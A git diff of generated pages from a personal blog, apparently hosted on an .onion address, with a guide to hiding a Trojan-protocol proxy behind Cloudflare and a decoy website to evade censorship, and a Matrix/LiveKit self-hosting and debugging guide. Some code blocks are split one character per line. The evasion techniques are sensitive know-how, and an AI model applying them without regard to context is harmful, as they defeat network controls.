    + + + +t +r +o +j +a +n +: +/ +/ +< +P +A +S +S +W +O +R +D +> +@ +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +: +4 +4 +3 +? +t +y +p +e += +w +s +& +s +e +c +u +r +i +t +y += +t +l +s +& +h +o +s +t += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +& +p +a +t +h += +% +2 +F +s +t +e +a +l +t +h +- +p +a +t +h +_ +a +b +c +d +1 +2 +3 +4 +& +s +n +i += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +# +M +y +S +t +e +a +l +t +h +V +P +N + + + + +
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +]]>
    \ No newline at end of file diff --git a/public/tags/cloudflare/page/1/index.html b/public/tags/cloudflare/page/1/index.html new file mode 100644 index 0000000..d5c6168 --- /dev/null +++ b/public/tags/cloudflare/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/cloudflare/ + \ No newline at end of file diff --git a/public/tags/coturn/index.html b/public/tags/coturn/index.html new file mode 100644 index 0000000..138e5e1 --- /dev/null +++ b/public/tags/coturn/index.html @@ -0,0 +1,12 @@ +Coturn | AlipourIm journeys +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 9 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/coturn/index.xml b/public/tags/coturn/index.xml new file mode 100644 index 0000000..094a1dc --- /dev/null +++ b/public/tags/coturn/index.xml @@ -0,0 +1,639 @@ +Coturn on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/coturn/Recent content in Coturn on AlipourIm journeysHugo -- 0.146.0enTue, 26 Aug 2025 00:00:00 +0000Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    + + + +
    + + + +D +a +t +a +b +a +s +e +h +a +s +i +n +c +o +r +r +e +c +t +c +o +l +l +a +t +i +o +n +o +f +' +e +n +_ +U +S +. +u +t +f +8 +' +. +S +h +o +u +l +d +b +e +' +C +' + + + + +
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    + + + +
    + + + +E +R +R +O +R +: +U +n +k +n +o +w +n +b +o +o +l +e +a +n +v +a +l +u +e +: +# +l +o +g +t +o +j +o +u +r +n +a +l +d +/ +s +y +s +l +o +g +. +Y +o +u +c +a +n +u +s +e +o +n +/ +o +f +f +, +y +e +s +/ +n +o +, +1 +/ +0 +, +t +r +u +e +/ +f +a +l +s +e +. + + + + +
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    + + + +
    + + + +A +F +c +e +c +t +e +c +s +h +s +- +A +C +P +o +I +n +t +c +r +a +o +n +l +n +- +o +A +t +l +l +l +o +o +w +a +- +d +O +r +h +i +t +g +t +i +p +n +s +: +c +/ +a +/ +n +r +n +t +o +c +t +. +e +c +x +o +a +n +m +t +p +a +l +i +e +n +. +c +m +o +o +m +r +/ +e +s +f +t +u +h +/ +a +g +n +e +t +o +n +d +e +u +e +o +r +t +i +o +g +i +a +n +c +. +c +e +s +s +c +o +n +t +r +o +l +c +h +e +c +k +s +. + + + + +
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +]]>
    \ No newline at end of file diff --git a/public/tags/coturn/page/1/index.html b/public/tags/coturn/page/1/index.html new file mode 100644 index 0000000..2123270 --- /dev/null +++ b/public/tags/coturn/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/coturn/ + \ No newline at end of file diff --git a/public/tags/debugging/index.html b/public/tags/debugging/index.html new file mode 100644 index 0000000..d767a36 --- /dev/null +++ b/public/tags/debugging/index.html @@ -0,0 +1,17 @@ +Debugging | AlipourIm journeys +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 9 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/debugging/index.xml b/public/tags/debugging/index.xml new file mode 100644 index 0000000..fe53115 --- /dev/null +++ b/public/tags/debugging/index.xml @@ -0,0 +1,1015 @@ +Debugging on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/debugging/Recent content in Debugging on AlipourIm journeysHugo -- 0.146.0enTue, 09 Sep 2025 11:05:00 +0200Stealth Trojan VPN Behind Cloudflare Guidehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    + + + +
    + + + +C +l +i +e +n +t + +C +l +o +u +d +f +l +a +r +e +( +4 +4 +3 +) + +N +g +i +n +x +( +4 +4 +3 +) + +T +r +o +j +a +n +( +l +o +c +a +l +h +o +s +t +: +5 +4 +3 +2 +1 +) + + + + +
    +
    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    + + + +
    + + + +t +r +o +j +a +n +: +/ +/ +< +P +A +S +S +W +O +R +D +> +@ +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +: +4 +4 +3 +? +t +y +p +e += +w +s +& +s +e +c +u +r +i +t +y += +t +l +s +& +h +o +s +t += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +& +p +a +t +h += +% +2 +F +s +t +e +a +l +t +h +- +p +a +t +h +_ +a +b +c +d +1 +2 +3 +4 +& +s +n +i += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +# +M +y +S +t +e +a +l +t +h +V +P +N + + + + +
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +]]>
    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
